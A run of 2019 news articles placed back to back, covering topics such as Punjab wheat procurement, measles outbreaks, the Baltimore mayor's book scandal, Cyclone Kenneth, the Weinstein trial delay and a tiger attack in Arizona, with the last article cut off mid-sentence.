The relaxation comes into immediate effect, and will remain till final analysis report of joint team is received. Disclosing this here, a spokesperson of the Food and Civil Supplies Department said that the Ministry of Consumer Affairs Food & Public Distribution, GoI, had conveyed its decision to the State Food and Civil Supplies Department. Advertisement Ease the norms for procurement in view of the losses It had been decided by the central government to allow purchase of luster lost wheat containing up to 10 percent kernels without any value cut. The Ministry has also allowed percentage relaxation in luster lost wheat on district wise basis by allowing percentage of relaxation up to 50% in the districts of Bathinda, Faridkot, Mukhtsar and Ferozepur, while relaxation percentage up to 75 percent has been allowed in the Fazilka and Hoshiarpur districts. Luster lost wheat containing more than 10 percent and up to 75 percent affected kernels may be purchased with 1/4th of one value cut on flat basis. The wheat so procured would be stacked and accounted for separately. Wheat stocks procured under relaxed specification would be liquidated on overriding priority basis, according to the spokesperson. Captain Amarinder Singh on Friday said Sunny Deol was just a `filmi fauji Gurdaspur, April 26: Dismissing the possibility of any threat to Sunil Jakhar from the BJP candidate in the fray in Gurdaspur, Punjab Chief Minister Captain Amarinder Singh on Friday said Sunny Deol was just a `filmi fauji with no ground support in the constituency. Talking to mediapersons here after accompanying Jakhar for filing his nomination papers as the Congress candidate from Gurdaspur, Captain Amarinder quipped, in response to a question, He (Sunny Deol) is a filmy fauji, while I am a real fauji. We will defeat him, he is no threat to Sunil or the Congress, he declared. Describing Sunny Deol as an ageing actor whose acting career was over, Captain Amarinder said he (Sunny) will come and go. Sunny might have played 23 Punjabs Brigadier Kuldip Singh Chandpuri in Border but that does not make him a real fauji, said the Chief Minister. When a journalist pointed out that Sunny Deols latest movie `Blank was set for release, Captain Amarinder further retorted: He will draw a blank (in the elections). Advertisement Chief Minister said it had been decided to hold ministers and MLAs responsible for victory Expressing confidence that the Congress will win all the 13 seats in the state including Gurdaspur, the Chief Minister reiterated that he will go all out to ensure the complete route of SAD president Sukhbir Singh Badal and his wife Harsimrat Badal in these Lok Sabha elections. Captain Amarinder said he had gone through Punjab and the mood across the state was upbeat, and totally in favour of the Congress. There was absolutely no competition to the party, he asserted, in response to a question. Asked to clarify on the Congress high commands decision to pin responsibility on ministers and MLAs for the electoral performance of the party candidates in these elections, the Chief Minister said it had been decided to hold ministers and MLAs responsible for victory or defeat of Congress candidates in their respective constituencies. If a minister is unable to ensure victory, he will be dropped, and MLAs who fail to deliver will not get the ticket next time, he explained, underscoring the new performance-led culture in the party. Widening pockets of unvaccinated children have created a pathway to the measles outbreaks hitting several countries around the world today. Mali, 2019. (Source: UNICEF) The ground for the global measles outbreaks we are witnessing today was laid years ago, said Henrietta Fore, UNICEF Executive Director. The measles virus will always find unvaccinated children. If we are serious about averting the spread of this dangerous but preventable disease, we need to vaccinate every child, in rich and poor countries alike. In the first three months of 2019, more than 110,000 measles cases were reported worldwide up nearly 300 per cent from the same period last year. An estimated 110,000 people, most of them children, died from measles in 2017, a 22 per cent increase from the year before. In Viet Nam, the number of measles cases increased two folds during the last two years, from 1,117 in 2017 to 2,256 confirmed cases in 2018. More than one third of those cases (36%) are amongst children aged 1-4. Most of the measles cases related to the lack of vaccination due to parents deciding to delay vaccination of their children. Vietnam, 2019. (Source: moh.gov.vn) The measles vaccine is safe and effective. Beyond saving lives - that vaccination protects children from the pain and suffering; it also prevents the frightening complications that can accompany measles. Vaccination also protects parents and family from the heartache and expense of seeing their children so sick and in so much discomfort. Two doses of the measles vaccine are essential to protect children from the disease. However, due to lack of access, poor health systems, complacency, and in some cases fear or skepticism about vaccines, the global coverage of the first dose of the measles vaccine was reported at 85 per cent in 2017, a figure that has remained relatively constant over the last decade despite population growth. Global coverage for the second dose is much lower, at 67 per cent. The World Health Organization recommends a threshold of 95 per cent immunization coverage to achieve so-called herd immunity. Hauling out boxes of Healthy Holly books and documents, dozens of federal law enforcement agents Thursday struck homes, businesses and government buildings across Baltimore as an investigation into Mayor Catherine Pughs business dealings widened. FBI agents and IRS officials executed search warrants at her City Hall office, Pughs two houses, and offices of the mayors allies, as the growing scandal consumed the citys attention, generated national headlines and provoked fresh calls for the embattled Democratic mayors resignation. This is too much for our city, Democratic City Councilman Zeke Cohen said. It puts all of us under a tremendous strain, and again it is not fair either to the people that live here, or the people that work here. Dave Fitz, an FBI spokesman, confirmed that agents from the Baltimore FBI office and the Washington IRS office searched at least six addresses. The U.S. attorneys office confirmed the location of a seventh search. The actions were the first confirmation that federal authorities, as well as state officials, were investigating the mayors activities. Advertisement Pugh remained inside her Ashburton home during the raids, a police source confirmed. Pugh, 69, did not respond to messages seeking comment. Shortly after the raids began, Maryland Gov. Larry Hogan called on Pugh, who has taken a paid leave of absence as mayor, to resign. The Republican governor had asked the Maryland Office of the State Prosecutor on April 1 to investigate Pughs sales of her self-published Healthy Holly childrens book series to the University of Maryland Medical System while she was on its unpaid board of directors. Today, agents for the FBI and the IRS executed search warrants at the mayors homes and offices, Hogan said. Now, more than ever, Baltimore city needs strong and responsible leadership. Mayor Pugh has lost the public trust. She is clearly not fit to lead. For the good of the city, Mayor Pugh must resign. Under the city charter, theres no way to remove Pugh from office unless shes convicted of a crime After visiting Pugh at her home Thursday afternoon, her attorney, Steven Silverman, said she remains in poor health and is not lucid enough to decide whether to resign. Asked whether he would advise the mayor to resign, Silverman said the decision was hers. All I do is give options, he said. There are several options available to her. Thatll be up to her. Earlier in the day, federal agents with a subpoena seized documents from Silvermans downtown law office. We will continue to vigorously defend the mayor, who is entitled the presumption of innocence, he said in a statement. City historians said the raid at City Hall appeared to be unprecedented in Baltimores annals. Complete coverage: Mayor Pughs Healthy Holly scandal The medical system also confirmed Thursday that federal prosecutors had sent it a subpoena. The University of Maryland Medical System has received a grand jury witness subpoena today from the U.S. attorneys office for the district of Maryland seeking documents and information from UMMS in order to conduct their investigation of Mayor Pugh. We are fully cooperating with the investigative process, said Michael Schwartzberg, a spokesman for the hospital network, in an email. Federal agents also visited the Maryland Center for Adult Training, a nonprofit job training program Pugh once led. It has listed online as board members three of Pughs mayoral office staffers Gary Brown Jr., Poetri Deal and Afra Vance-White who were fired this week by acting Mayor Bernard C. Jack Young. Fitz said the FBI executed warrants at Browns home, too. Silverman said in his statement that federal agents served a limited subpoena at the law firm of Silverman Thompson Slutkin & White for original financial records belonging to Mayor Catherine Pugh. He said the firm had the documents as part of its representation of Pugh during the investigation of her self-published Healthy Holly childrens books, which the mayor sold to companies with business before the city and to the medical system. The agents also did not seek or obtain any attorney-client privileged communications with the mayor, or any other information or documents from the firm or its clients, Silverman said. Cohen, Eric Costello and Brandon Scott, all Democratic councilmen, reiterated their call for Pugh to resign Thursday. The entire City Council, as well as Baltimore lawmakers in the House of Delegates and the Greater Baltimore Committee, a business and civic group, also are seeking her resignation. Here are the locations of the FBI raids in Baltimore and how theyre tied to Mayor Catherine Pugh Lester Davis, a spokesman for Young, said Young didnt know about the searches in advance. He also said Young did not know if the three aides were under investigation. As Young, a Democrat, left City Hall at midmorning, he said briefly: The city is moving forward. Im not ducking anybody. Im just letting you know I was unaware and all Im doing is keeping the city moving forward. City Solicitor Andre Davis said the search at City Hall was in the mayors office on the second floor. Davis said he received an inventory of what agents seized, but doesnt intend to release it publicly for now because that could harm the investigation. He said a search warrant affidavit, which would lay out the reason for the City Hall search, is under seal. Citing health reasons, Pugh announced April 1 she was taking leave amid the growing scandal over the book sales. The Sun reported last month that Pugh was paid $500,000 by the medical system for 100,000 of the books to distribute to schoolchildren, as part of a no-bid arrangement. Health provider Kaiser Permanente later acknowledged it paid Pugh more than $100,000 to buy about 20,000 copies of her books during a period when the company was seeking a lucrative contract to provide health insurance to city employees. Others with business before the city, including Columbia businessman J.P. Grant, also wrote checks for the book. In all, Pughs Healthy Holly LLC took in at least $800,000 from local entities since 2011, The Sun has reported. Pugh bought her current home in the 3400 block of Ellamont Road for $117,500 just days after being sworn in as mayor in December 2016. Property records showed she purchased it without using a mortgage. She began renovating it in early 2017, but has repeatedly run afoul of city housing regulations regarding permits, historic preservation and fire codes. Before her move, Pugh lived nearby on Dennlyn Road, where she bought a home in 1998. As federal agents raided her houses, carrying out boxes labeled with titles in the Healthy Holly series, neighbors gathered on the sidewalk with reporters and photographers. Devin Lewis, 32, said he last saw Pugh about two weeks ago outside the Ellamont house. Its more a shock than anything else, Lewis said. At the job training center, agents spent several hours inside before loading boxes of potential evidence into SUVs. A handwritten sign on door to the building said, MCAT CLOSED TODAY. Dressed in purple scrub pants and black tops, more than a dozen students in the centers certified nursing assistant, geriatric nursing assistant and medical technician programs were surprised by the closure. Keith Timmons, Pughs former campaign treasurer, said law enforcement officials searched his office on Light Street looking for Healthy Holly material. Timmons said in a phone interview that he didnt know what agency the officials were from, but a spokeswoman for the U.S. attorneys office confirmed the address was one of those authorities searched Thursday. Timmons signed the incorporation papers creating Pughs Healthy Holly LLC. And the office address listed for him in Healthy Holly LLCs state business records appears in some editions of the Healthy Holly books. Timmons has been Youngs campaign treasurer since 2005, according to state records. Young said there was no connection between Timmons work as his treasurer and the Healthy Holly company. He will continue to be my treasurer, Young said. At Browns address in the Cecil apartments on Eutaw Street, two supervisors overseeing construction work confirmed that multiple FBI agents raided a unit in the building. The supervisors, who declined give their names, said three men wearing FBI jackets and one man in a suit showed up with warrants about 7:30 a.m. Thursday. They declined to say whose apartment was raided, but the building is the listed address of Brown. In 2017, Brown pleaded guilty to a campaign finance charge after the state prosecutors office found he used the bank accounts of some of his relatives to donate $18,000 to Pughs 2016 mayoral campaign. He received probation before judgement. Pugh stood by Brown after his prosecution, calling him a good employee and letting him keep his job at City Hall. Pughs attorney has said she has remained on paid leave because she is still recovering from a case of pneumonia. She continues to receive her $185,000 annual salary. Young has placed three other Pugh aides on paid leave, including her chief of staff. Thursday was not the first time a Baltimore mayors house has been raided by investigators. In 2008, state prosecutors and police searched the home of then-Mayor Sheila Dixon. The Democrat became the first Baltimore mayor to face criminal charges, was convicted and resigned. Federal investigators have searched other big City Halls in recent years, including Los Angeles in 2018 and Philadelphia in 2016. In those corruption cases, they were seeking materials from the offices of City Council members. Baltimore Sun reporters Jessica Anderson, Jeff Barker, Liz Bowie, Colin Campbell, Jacques Kelly, Sarah Meehan, Ulysses Munoz, Tim Prudente, Sameer Rao, Kevin Rector and Talia Richman contributed to this article. iduncan@baltsun.com twitter.com/iduncan As an anchor at Fox Business Network, Maria Bartiromo can lay claim to the title of hardest working person in TV business news. Five days a week she is front and center at Mornings With Maria, a three-hour mix of financial news, politics and economic policy analysis with some water cooler chatter thrown in. On Friday evenings she hosts Maria Bartiromos Wall Street, which features in-depth sit-downs with chief executive officers. Her weekend is devoted to Sunday Morning Futures, a weekly discussion program with Washington newsmakers for Fox News. Do your job Bartiromo believes she developed a strong work ethic from her parents. Her father owned Rex Manor, a Brooklyn, N.Y., restaurant where he ran the kitchen while her mother toiled in the front of the house after putting in a shift as a clerk at a local off-track betting location. On the holidays we would all go to the restaurant because my father had to work, said Bartiromo, who checked coats. Her first experience outside of the family business was as a stock clerk at Kleinfelds, a retail store for wedding dresses, where she developed a bad habit of trying on the bridal gowns before she put them away. The third time her boss caught her, she was fired. I cried the whole way home, but I learned a valuable lesson and that is do your job, she said. Breaking the news While studying economics at New York University, Bartiromo landed an internship at CNN, which in the early 1990s was still considered a notch below the news divisions of broadcast networks ABC, CBS and NBC. Because it was cable and not one of the big guys, I could do everything, she said. She became a production assistant after graduation and worked her way up to executive producer of CNNs morning business news show over five years. But her goal was to report on camera. After hours, she went out with a camera crew to put together enough stand-up reports for an audition tape. CNBC, the financial news cable channel that was still finding its footing at the time, hired her. Bartiromos boss at CNN was Lou Dobbs, now a colleague at Fox Business News, who told her she was making a big mistake. Theyre nobody, he told her. Advertisement Floor show At CNBC, Bartiromo became the first journalist to deliver live TV reports from the floor of New York Stock Exchange. Bartiromo acknowledges it got rough on the male-dominated trading floor in 1995. The early days of reporting from the floor of the New York Stock Exchange were hard. A lot of people didnt want me there. But Bartiromo doesnt look back at her early years through the #MeToo prism of today. It was new to all involved, she said. But I dont want to criticize the guys on the floor because I had so many friends there. Ultimately I did get a lot of information from them. In 1999, before she married Jonathan Steinberg, son of late financier Saul Steinberg, the traders put a ball and chain around her leg, a tradition on the exchange for those headed to the altar. I had made it, she said. Role model With her pioneering role, Bartiromo said she has heard from many women who say she inspired them or their daughters to go into finance. But the anchor is especially proud of her ability to glean information from her sources at big investment firms and pass it along to the TV audience. Viewers had that research at the same time that the big guys who paid a lot of money for it, she said. I feel like I helped level the playing field for the individual investor. Trading networks After 20 years with CNBC, Bartiromo decided to move to Fox Business Network in 2013, where she was promised the opportunity to cover more than just the financial markets. I needed to broaden my portfolio, she said. I didnt want to be the person on the floor of the New York Stock Exchange 30 years later saying, Heres whats going on. Having a supportive family gave her the courage to make the move. I know that if something goes wrong I know that Ill land on my Chanels, she said. If not, I have my family. Five years later with her contract coming up, she would like to continue. I love it here, she said. Money maker Bartiromos familiarity with the finance community over 25 years helps her draw the most upscale audiences in cable news Mornings With Maria viewers have a median income of $148,200, according to Nielsen data for 2018. Her rise from the Bay Ridge section of Brooklyn, not far from where the 1970s classic Saturday Night Fever was filmed, has helped her learn the value of a dollar. She relaxes on weekends by taking long bike rides near the Westhampton, N.Y., beach home she shares with Steinberg, chief executive for WisdomTree, an exchange-traded asset management firm. With a 3:30 a.m. wake-up call for a daily show that starts at 6 a.m. Eastern, she sneaks an hour nap in during the day when she can, especially if she has to attend an evening event. White House calling Bartiromo is among the Fox News stars who gets personal calls from President Trump, although she pushed back at him when he accused her of being fake news during a March interview in which she asked about his attacks on the late Sen. John McCain. She didnt take the presidents favorite insult personally. He says what he wants all the time, she said. For some Britons who watched Notre Dame burn so fiercely in Paris, the horror was mixed with apprehension. What happened to the French landmark this week could easily befall the Houses of Parliament in London. The seat of Britains government is a crumbling, leaky, rodent-infested fire trap that fire wardens must patrol around the clock to avoid an inferno. Warnings about Parliaments dilapidated state have been growing louder, and experts say they can no longer be ignored. Chunks of masonry have repeatedly come crashing down from the outside of the building. Earlier this month lawmakers were sent home after water from a burst pipe began gushing into the House of Commons chamber itself. This is a building that is trying to say something, said Caroline Shenton, author of two books on the history of Parliament. Advertisement For Shenton, the scenes from Paris brought a sad sense of deja vu. Her book The Day Parliament Burned Down recounts the destruction in 1834 of the current legislative buildings predecessor in one of the biggest blazes London has ever seen. I watched the fire spread across the roof of Notre Dame and the scenes I described in The Day Parliament Burned Down came back to me, Shenton said. The rapid spread. The complete lack of fire protection. The huge crowds gathering silent, shocked. Out of the 1834 fire rose the current Parliament building, a neo-Gothic marvel by architect Charles Barry that took 30 years to complete. A UNESCO World Heritage Site, the limestone-clad building has 1,100 rooms and almost 3 miles (4.8 kilometers) of corridors. And it is being eaten by decay. The roof leaks and most of its 4,000 windows dont close properly. Mechanical and electrical systems have not been updated since the 1940s. Basements are clogged with century-old steam pipes, bundles of wires and asbestos. A report commissioned by Parliamentary authorities warned in 2016 that the building was at risk of a catastrophic event such as a flood or fire that would leave it uninhabitable. Labour Party lawmaker Chris Bryant, part of a committee looking into the restoration of Parliament, warned this week that a fire could cause a major loss of life because of the challenges of evacuating the labyrinthine structure which houses thousands of employees and is visited by 1 million people a year. Officials in charge of Parliaments Restoration and Renewal Program said in a statement that they stand ready to learn any lessons that emerge from the fire at Notre Dame to ensure we do everything possible to protect our people and buildings. The Parliament building faces some of the same risks as Notre Dame. Although built in the 19th century, Parliament incorporates parts of more ancient structures. The oldest section, Westminster Hall, is 900 years old and has a magnificent wood-beamed roof like Notre Dame. Hours after the cathedrals roof was consumed by flames, French President Emmanuel Macron declared that it was Frances destiny to rebuild it. Yet, with Brexit consuming all the political oxygen in Britain, theres no similar sense of national purpose to preserving the Houses of Parliament. Unlike Notre Dame, a place of spiritual succor, Parliament is full of politicians, a largely unpopular group. Matthew Flinders, a professor of politics at the University of Sheffield, said Britons have a great affection for the building but less regard for its occupants. Meanwhile, the politicians who must make big decisions about the building are very scared to be seen to be spending large amounts of public money on themselves. In many ways, the worst people to take decisions about the future of the Palace of Westminster are the (lawmakers) who are in it today, Flinders said. In 2018, after years of wrangling and delays, lawmakers voted to move out for several years so the building can be repaired, but that will not happen until the mid-2020s. Its estimated the repairs will take six years and cost about 3.5 billion pounds ($4.6 billion), although that figure is likely to rise. For now, fire wardens patrol the Parliament complex 24 hours a day, alert for small blazes that could spread. Urgently needed repairs are being carried out on parts of the complex, including its Big Ben tower, whose famous clock is shrouded in scaffolding. Repairing and updating such structures brings its own dangers. Old buildings are often at their most vulnerable during construction work. Notre Dames roof was being restored when the fire broke out on Monday. David Leakey, who retired as Parliaments head of security last year, told BBC radio that previous wake-up calls had been met by prevarication and delay. The question is this: How often are the politicians going to hit the snooze button? he asked. ___ Follow Jill Lawless on Twitter at https://Twitter.com/JillLawless Copyright 2019 The Associated Press. All rights reserved. This material may not be published, broadcast, rewritten or redistributed. Trying to stop a measles outbreak from spreading, health officials announced Thursday that more than 200 students and staff members at UCLA and Cal State L.A. who have been exposed to measles are being asked to stay home. The five people diagnosed with measles so far in L.A. County this year include a UCLA student and a Cal State L.A. student. Concerned about the quick spread of disease on busy college campuses, health officials have ordered that students and staff exposed to measles who cannot show they have been vaccinated be quarantined until further notice. The announcement comes on the same day California health officials said 38 people had been infected with measles so far this year in the state, an increase of 15 from the previous week. Measles has been spiking nationwide this year, with 695 cases in 22 states reported so far, the most in the U.S. since 2000. While the largest outbreak in California is in Butte County in the northern part of the state, health officials also declared outbreaks in Los Angeles and in Sacramento County this week. Advertisement County health workers reached out to more than 500 people who may have come into contact with the UCLA student in early April. As of Thursday afternoon, 79 of those students and faculty members had not provided medical records showing that they are immune to measles, according to a statement from the university. Measles is one of the most contagious viruses in the world, spread by coughing and sneezing. Even after a sick person leaves a room, the virus can linger in the air for as long as two hours, able to infect an unsuspecting victim. One person with a confirmed measles case can expose thousands of people to measles, L.A. County public health department director Dr. Barbara Ferrer said at a news conference Thursday. At Cal State L.A., 156 library employees both students and staff who may have been around the infected student earlier this month, also could not provide their immunization records, according to a statement from the university. L.A. County public health officials ordered Thursday that anyone who could not provide their immunization records stay at home. As of 5 p.m. Thursday, 235 people were still facing quarantine orders, according to county health officials. Officials said they would lift the quarantine orders as soon as people showed documentation that they had been immunized or had a lab test to verify their immunity. Without that proof, people exposed at UCLA could be quarantined until April 30 and those at Cal State L.A. until May 2. I know there is concern about measles, particularly among the very small percentage of our community who have not been vaccinated, said UCLA Chancellor Gene Block in the statement. Please be assured that we have the resources we need for prevention and treatment, and that we are working very closely with local public health officials. Cal State L.A. officials said they told those exposed to stay at home. But UCLA officials did not respond to questions about how they would handle quarantined students who live in dorms, often in close quarters. In a statement, they said they had arranged for such students to be cared for at UCLA while they are quarantined. In 2015, the UC system approved a regulation requiring that students be fully vaccinated before enrolling at any campus. At California universities in the last decade, there have been outbreaks of mumps, meningitis and norovirus. But amid pushback, UC officials did not begin enforcing the regulation until fall 2018, the beginning of the current school year. Therefore, most students at UCLA enrolled before the requirement took effect. Since the beginning of the year, the nation has been struggling with measles outbreaks across the country, the biggest of which are in New York and Washington states. Most outbreaks begin when an American traveler visits another country, catches measles and brings it back to a neighborhood with low vaccination rates. High vaccination rates in California seem to have prevented small outbreaks from mushrooming the way they have elsewhere, experts say. Californias largest outbreak, in Butte County, has spread to 16 people. By contrast, an outbreak in New York City has infected more than 320. Californias high levels of vaccination are partly due to one of the strictest immunization laws in the country, which was implemented in 2016. But California high school students and young adults who had already finished their schooling when the law took effect were not required to comply. That has left a large pool of young people many of whom are college-aged now especially vulnerable to infections, experts say. This group in their early 20s is part of whats known as the Wakefield generation, because they were infants in 1998 when British scientist Andrew Wakefield published a now discredited paper claiming that vaccines cause autism. Scared of the side effects of vaccination, many parents chose to opt out. Of the 38 people who have been diagnosed with measles in California this year, three-quarters were 18 or older, said Dr. Gil Chavez, deputy director for the state health departments infectious diseases center, in a press call with reporters Thursday. Chavez recommended the measles vaccination, especially for people traveling out of the country. Three-quarters of the measles patients in California were not vaccinated at all or only had one of the two recommended doses of the measles vaccine, said Chavez. Some people fell sick despite being vaccinated because the shot is estimated to be 97% effective, he said. That means that even in the best of cases, 3% of people who are immunized are not fully protected, Chavez said. The measles vaccine is still considered highly effective and officials recommend it to anyone who has not been immunized yet. People who contract measles after getting the shot tend to have a less severe form of the illness and are less likely to transmit it to others. The measles vaccine is believed to work for a lifetime. Measles patients in California ranged in age from 5 months to 55 years, Smith said. Some have been hospitalized, she said. Though measles is most deadly for babies under a year old, children younger than 5 and adults older than 20 are more likely to suffer from other serious complications, such as pneumonia, brain swelling and ear infections that can lead to permanent hearing loss. Contrary to what some people think, measles is not a benign childhood disease, Smith said. soumya.karlamangla@latimes.com Twitter: @skarlamangla French President Emmanuel Macron announced tax cuts for middle-class workers and a more representative parliament on Thursday to quell five months of yellow-vest protests that have damaged his presidency. In a nationally televised speech, he also warned that France and Europe must better fight illegal migration. Macron spoke to the nation from the Elysee presidential palace after three months of national debate aimed at addressing protesters concerns about high taxes, high unemployment and stagnant wages. He also unveiled measures to boost pensions and help single parents and eased rules on referendums, making it easier for people to find an outlet for grievances besides the street protests that have convulsed the country for 23 consecutive weeks. But Macron warned that there comes a time for hard choices. Advertisement I dont believe in permanent referendums, because referendums dont allow for difficult decisions at the time when they must be made, he said. He also warned that illegal immigration was weighing on France and Europe. He said he favored a strong Europe that protects its borders and at the same time is able to take in some asylum seekers coming from countries where their lives are at risk. To be welcoming, you need to have a house. So we need borders, we need borders to be respected, we need rules, he said. Some critics are likely to dismiss his proposals as too little, too late. The protesters see the centrist Macron, a former investment banker, as leading a French government that favors the rich and want more income equality. Many French protesters say they cant pay their bills because of the high cost of living. Macron was going to make his economic announcements last week, but postponed them when the April 15 fire at Notre Dame Cathedral broke out. Government spokeswoman Sibeth Ndiaye said Macrons party leaders and government officials would meet Monday to figure out the best schedule to implement the new measures. The yellow vests, named after the fluorescent jackets French motorists are required to keep in their cars, have been protesting for 23 consecutive weeks. The numbers of protesters have dwindled in recent weeks amid internal divisions, but they remain a challenge to Macrons government. The movement started in November as a protest against a fuel tax hike and quickly expanded into broader public rejections of Macrons economic policies. The second powerful cyclone to rip into Mozambique in just six weeks stunned residents Friday in a region where such storms had not been recorded in the modern era. Three deaths were reported from Cyclone Kenneth and the U.N. warned of massive flooding ahead. Kenneth had maximum sustained winds of 136 mph, equal to a Category 4 hurricane, before it made landfall Thursday evening in far northern Mozambique, the Joint Typhoon Warning Center said. It was the first time in recorded history that the southern African nation has been hit by two cyclones in one season, the U.N. said. More worryingly, the storms remnants in the next 10 days could dump twice as much rain as Cyclone Idai did on central Mozambique last month, World Food Program spokesman Herve Verhoosel said. Idai killed more than 600 people and displaced scores of thousands. Advertisement Kenneth struck a part of Mozambique that had never seen such a fierce storm during the age of satellite observation, forecasters said, renewing concerns about climate change and the countrys vulnerable, 1,500-mile Indian Ocean coastline. Authorities issued warnings 24 hours before the storm arrived but of course, no one really knows what a cyclone is, Jorg Salzer, a hotel owner on hard-hit Ibo island, told the Associated Press. Its not a cyclone area. He said two island residents were reported dead, and Mozambiques emergency operations center said a woman in the city of Pemba was killed by a falling tree. About 90% of homes on Ibo island, a community of about 7,000 residents, were destroyed, the operations center said, as well as a large number of houses in the Macomia district of Cabo Delgado province. While the region that took the brunt of Kenneth is more sparsely populated than the area hit by Idai, Mozambiques disaster management agency said nearly 700,000 people could be at risk, many left exposed and hungry as flood waters rise. Cyclone Kenneth may require a major new humanitarian operation in one of the worlds poorest nations, even as post-Cyclone Idai relief operations are expected to continue for months, U.N. humanitarian chief Mark Lowcock said. The European Commissions emergency mapping service warned of a very high probability that coastal basins will flood in the days ahead. Its quite terrible, hotel owner Salzer said, adding that no outside aid had yet reached Ibo island. Im afraid of huge suffering for the people. The cyclone cut off electricity on the island and toppled a mobile phone tower, cutting off communications, he said. Early assessments from other areas were grim. Quissanga district reported extensive damage to houses, and communication links with the Macomia and Muidumbe districts were down, the International Federation of Red Cross and Red Crescent Societies said. The aid group cited weekend forecasts of as much as 9 inches of torrential rain, or about a quarter of the average annual rainfall for the region. Macomia, Quissanga, Mocimboa da Praia and Mecufi districts were most at risk. Harvey Weinsteins sexual assault trial has been postponed until September, a judge said Friday after a closed-door hearing that focused on the prosecutions bid to have jurors hear from many women who have accused the movie mogul of sexual misconduct. Weinsteins trial had been scheduled to begin June 3, but both the prosecution and the defense indicated they would need more time to sort through potential witnesses and evidence issues. It is now set for Sept. 9. The prosecution and defense asked that the hearing that preceded the delay announcement be held behind closed doors because it focuses on sensitive matters, such as the names of accusers. Judge James Burke in Manhattan said closing the courtroom to the news media and public was the only means available to avoid the tainting of the jury pool. He also rejected the news organizations request to unseal documents related to the hearing. Advertisement The hearing, Burke said, dealt with material that is prejudicial to the defendant and is highly inflammatory. He said news coverage would serve no other purpose than to stir negative public sentiment toward Weinstein. Burke also denied the media organizations request to delay the hearing so they would have time to appeal. An appellate judge denied a request by the media outlets to immediately halt the proceeding. Burke issued his ruling after prosecutors said it was necessary to close the courtroom, both to protect Weinsteins right to a fair trial and to shield the identities of accusers whose names and allegations were expected to come up during the hearing. We believe it is prudent to close the court, Manhattan Assistant District Attorney Joan Illuzzi-Orbon said. Weinstein lawyer Marianne Bertuna argued that news coverage could influence potential jurors and that the court cannot be complicit with the press in denying the defendants right to a fair trial. Lawyers for the news organizations, including the Associated Press, said the prosecution and defense arguments didnt meet the high legal standard for banning the media and the public. Weinsteins case is a matter of immense and legitimate public interest, and the allegations against him are already widely known, said Robert Balin, a lawyer for the news organizations. The sides asking for the courtroom to be closed were suggesting that somehow it is improper for the press and the public to be sitting here and report news in real time, even though that right is guaranteed by the Constitution, Balin argued. Balin argued that the allegations against Weinstein from more than 80 women have already been widely reported and that many of them, such as actresses Mira Sorvino and Ashley Judd, have agreed to be identified publicly. But not all have, Illuzzi-Orbon said. A lawyer for Court TV and a reporter from New York magazine also argued in favor of keeping the courtroom open. Everyone who spoke was forced to compete with the sound of a jackhammer that rattled on and off 15 stories below the open courtroom windows. Weinstein himself was mum as he arrived at court. Asked how he was doing, he just nodded. He is charged with raping an unidentified female acquaintance in his Manhattan hotel room in 2013 and performing a forcible sex act on a different woman in 2006. Weinstein, 67, has denied all allegations of wrongdoing. He pleaded not guilty and is free on $1 million bail. Prosecutors are seeking to call as trial witnesses some of the dozens of women who have accused Weinstein of sexual misconduct but whose allegations havent led to criminal charges. They want to show that Weinstein has had a history of assaulting women. Prosecutors used that strategy a year ago in convicting Bill Cosby at his sexual assault retrial outside Philadelphia. Hearings pertaining to such witnesses in the comedians case were open to the media and the public. Perhaps expecting an onslaught of accusers taking the stand, Weinstein lawyer Jose Baez sent a letter this week to the lawyer for one of them, asking for emails he says show the woman acknowledged she had a consensual relationship with Weinstein. A chemical leak that caused a toxic plume to hang for hours over a northern Chicago suburb Thursday sickened dozens of people, including seven who were in critical condition, officials said. Lake Forest, Ill., Fire Chief Mike Gallo said a tractor was towing two separate 2-ton containers of anhydrous ammonia when the leak occurred about 4:30 a.m. Initial reports suggested the vehicle was involved in a crash, but authorities later said that was not the case. The cause of the leak has not been released. The leak created a toxic cloud that lingered for several hours over Beach Park, about 40 miles north of downtown Chicago. Authorities ordered residents within a 1-mile radius to stay inside and close their windows. Schools were closed for the day. Eleven firefighters were among the 37 people who were hospitalized, and one of the injured firefighters was among the seven in critical but stable condition, according to the Lake County Sheriffs Office. Three law enforcement officers were in good condition and several others were serious but stable, sheriffs spokesman Christopher Covelli said. Advertisement Authorities said most of those injured suffered breathing problems. This is a very dangerous chemical that can cause unconsciousness and, worst-case scenario, death, Covelli said. According to the Centers for Disease Control and Prevention, anhydrous ammonia is a colorless gas that can cause breathing difficulties, burns, blisters and is fatal if breathed in high concentrations. Farmers use it to add nitrogen to soil. The first two officers who responded to the leak had to retreat because they were overcome by the ammonia, Covelli said. It was difficult to get to that scene initially with those chemicals in the air without proper protection and gear to wear over the face, he said. Authorities said about two dozen law enforcement agencies responded to the leak. The leak was contained within a few hours and the leaking tank was empty, authorities said, adding that they were waiting for the chemical plume to dissipate. The order to remain indoors was lifted by late morning, Covelli said. A Massachusetts judge was indicted Thursday on charges that she helped a man who was living in the U.S. illegally evade an immigration agent by sneaking out the back door of a courthouse. District Court Judge Shelley M. Richmond Joseph and onetime court officer Wesley MacGregor were charged with obstruction of justice in the case, which developed from accusations that they schemed to let the man escape after a hearing last year on charges that included drug possession. The charges against Joseph and MacGregor were swiftly condemned by the states attorney general, who called the case a radical and politically-motivated attack on the courts by federal authorities. Lawyers, judges and advocates have criticized President Trumps administration for stepping up immigration arrests at courthouses, saying it is disrupting the criminal justice system and scaring people away from halls of justice. Advertisement Massachusetts U.S. Atty. Andrew Lelling said the charges were not meant to send a message about immigration policy. Everyone must be held to the rule of law, even the privileged and powerful, he said. From certain corners I have heard the occasional gasp of dismay or outrage at the notion of holding a judge accountable for violating federal law, Lelling said. But if the law is not applied equally it cannot credibly be applied to anyone. Joseph, 51, and MacGregor, 56, were scheduled to appear in Boston federal court Thursday. Joseph has been suspended without pay, the Massachusetts Supreme Judicial Court said. They came under federal investigation last year after authorities said they schemed to let the man escape from the Newton courthouse. An immigration agent was in the courtroom to detain the man. Authorities say Joseph asked the agent to leave the courtroom and told him that the suspect would be released into the courthouse lobby. Instead, after the hearing, MacGregor led the defendant downstairs to the lockup and let him out a rear door, Lelling said. The man, who had been barred from entering the U.S. until 2027, was caught by immigration officials about a month after the hearing, Lelling said, and is now in immigration proceedings. A Bengal tiger attacked a nonprofit animal rescues founder in northwestern Arizona and will not be put down after the man said it was his fault. Keepers of the Wild, located in Valentine, Arizona, about 35 miles (56 kilometers) east of Kingman, confirmed in a statement posted Wednesday on its Facebook page that Jonathan Kraft suffered multiple wounds and two broken bones when a Bengal tiger named Bowie pushed an open gate and attacked. Kraft was working to protect animals from heavy rain, lightning and hail during a storm 